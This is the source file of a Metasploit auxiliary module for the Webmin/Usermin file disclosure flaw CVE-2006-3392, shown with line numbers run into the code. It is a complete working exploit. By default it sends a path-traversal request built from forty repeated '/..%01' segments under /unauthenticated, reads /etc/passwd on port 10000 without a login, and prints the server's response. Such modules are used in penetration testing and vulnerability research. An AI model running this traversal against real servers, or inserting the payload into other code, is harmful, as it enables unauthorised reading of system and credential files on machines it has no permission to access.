Path: blob/master/modules/auxiliary/admin/webmin/file_disclosure.rb
19852 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Webmin File Disclosure',13'Description' => %q{14A vulnerability has been reported in Webmin and Usermin, which can be15exploited by malicious people to disclose potentially sensitive information.16The vulnerability is caused due to an unspecified error within the handling17of an URL. This can be exploited to read the contents of any files on the18server via a specially crafted URL, without requiring a valid login.19The vulnerability has been reported in Webmin (versions prior to 1.290) and20Usermin (versions prior to 1.220).21},22'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>' ],23'License' => MSF_LICENSE,24'References' => [25['OSVDB', '26772'],26['BID', '18744'],27['CVE', '2006-3392'],28['US-CERT-VU', '999601'],29['URL', 'https://web.archive.org/web/20060722192501/http://secunia.com/advisories/20892/'],30],31'DisclosureDate' => '2006-06-30',32'Actions' => [33['Download', { 'Description' => 'Download arbitrary file' }]34],35'DefaultAction' => 'Download',36'Notes' => {37'Stability' => [CRASH_SAFE],38'SideEffects' => [IOC_IN_LOGS],39'Reliability' => []40}41)42)4344register_options(45[46Opt::RPORT(10000),47OptString.new(48'RPATH',49[50true,51'The file to download',52'/etc/passwd'53]54),55OptString.new(56'DIR',57[58true,59'Webmin directory path',60'/unauthenticated'61]62),63]64)65end6667def run68print_status("Attempting to retrieve #{datastore['RPATH']}...")6970dir = normalize_uri(datastore['DIR'])71uri = Rex::Text.uri_encode(dir) + '/..%01' * 40 + Rex::Text.uri_encode(datastore['RPATH'])7273res = send_request_raw({74'uri' => uri75}, 10)7677if res78print_status("The server returned: #{res.code} #{res.message}")79print(res.body)80else81print_status('No response from the server')82end83end84end858687